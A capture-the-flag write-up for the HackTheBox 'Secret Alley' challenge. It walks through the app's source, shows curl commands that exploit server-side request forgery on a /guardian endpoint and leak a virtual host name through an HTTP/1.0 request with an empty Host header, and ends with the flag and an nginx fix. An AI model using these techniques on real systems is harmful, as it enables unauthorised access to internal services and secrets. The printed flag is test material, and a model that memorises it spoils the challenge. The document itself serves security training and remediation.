🚩 HTB - Secret Alley

Executive Summary

  • OS: Linux / Windows
  • Key Technique: views/package.json file revealed that the website is using node-fetch version 2.6.6 which is vulnerable to CVE-2022-0235, node-fetch() request method will send all request headers (including the sensitive authentication headers such as Authorization, Cookie, etc.) to along with a redirection request. Further enumeration revealed that the /think endpoint will display its request header to the body. The default.conf file revealed that the /guardian endpoint is hosted on another virtual host that send requests to the URL inside its quote parameter. By pointing the quote to the endpoint /think we can get the flag inside the request header.
  • Status: Completed

Reconnaissance

Configurations

center

Inspecting the Dockerfile we can see that there are two secret value inside that is the SECRET_ALLEY and the FLAG. The SECRET_ALLEY is used as the suffix for the virtual hosts’ names.

![[Pasted image 20260328043850.png#center]

Routers

The routes/guardian.js file introduces three endpoints for us.

/alley

router.get("/alley", async (_, res) => {
  res.render("index");
});

Return the index page, inside the index page there is a button that leads us to the /guardian endpoint

center

/think

router.get("/think", async (req, res) => {
  return res.json(req.headers);
});

Return the GET request headers

/guardian

router.get("/guardian", async (req, res) => {
  const quote = req.query.quote;
 
  if (!quote) return res.render("guardian");
 
  try {
    const location = new URL(quote);
    const direction = location.hostname;
    if (!direction.endsWith("localhost") && direction !== "localhost")
      return res.send("guardian", {
        error: "You are forbidden from talking with me.",
      });
  } catch (error) {
    return res.render("guardian", { error: "My brain circuits are mad." });
  }
 
  try {
	  // uses the vulnerable node-fetch() to send request to the URL
    let result = await node_fetch(quote, {
      method: "GET",
      headers: { Key: process.env.FLAG || "HTB{REDACTED}" },
    }).then((res) => res.text());
 
    res.set("Content-Type", "text/plain");
 
    res.send(result);
  } catch (e) {
    console.error(e);
    return res.render("guardian", {
      error: "The words are lost in my circuits",
    });
  }
});

The /guardian endpoint takes a parameter called quote and send the request to that URL, with the secret header called Key containing the flag.

Exploitation

The attack plan is quite clear:

  • Send the request to /guardian?quote=http://localhost:1337/think
  • Grab the flag.

However, the problem is that with going to the /guardian endpoint return a 404 not found.

center

Checking the request in Burpsuite:

The request is perfectly normal, nothing significan was observed. We go back to the default.conf file:

center

The alley.$SECRET_ALLEY virtual host is the default server, therefore when we send a standard request to it, the Host header is configured to this virtual host instead of the guardian.$SECRET_ALLEY virtual host that’s actually hosting the /guardian endpoint.

The command that we actually need to run:

curl -H 'Host: guardian.$SECRET_ALLEY' 'http://154.57.164.83:32372/guardian?quote=http://localhost:1337/think'

However, this boils down to how can we find the value of $SECRET_ALLEY. This can be solved by using HTTP 1.0. In HTTP 1.0, the Host head is not mandatory, by adding an empty Host header, the server will automatically route that domain name to the default_server name (which is the alley.$SECRET_ALLEY in this case). We can then extract the $SECRET_ALLEY part.

curl --http1.0 -H 'Host:' http://154.57.164.83:32372/think

center

The secret alley is firstalleyontheleft.com, hence:

curl -H 'Host: guardian.firstalleyontheleft.com' 'http://154.57.164.83:32372/guardian?quote=http://localhost:1337/think'

center

Loot & Flags

Flag: HTB{DUsT_1n_my_3y3s_l33t}

Fix:

  • Virtual Host Leakage: This happen because and active virtual host is binded to be the default server, normally, default server would just be a place where the server return an error page in order to prevent virtual host discovery.
# Add this block at the top to catch all undefined Host headers 
server { 
	listen 80 default_server; 
	server_name _; 
	return 444; 
}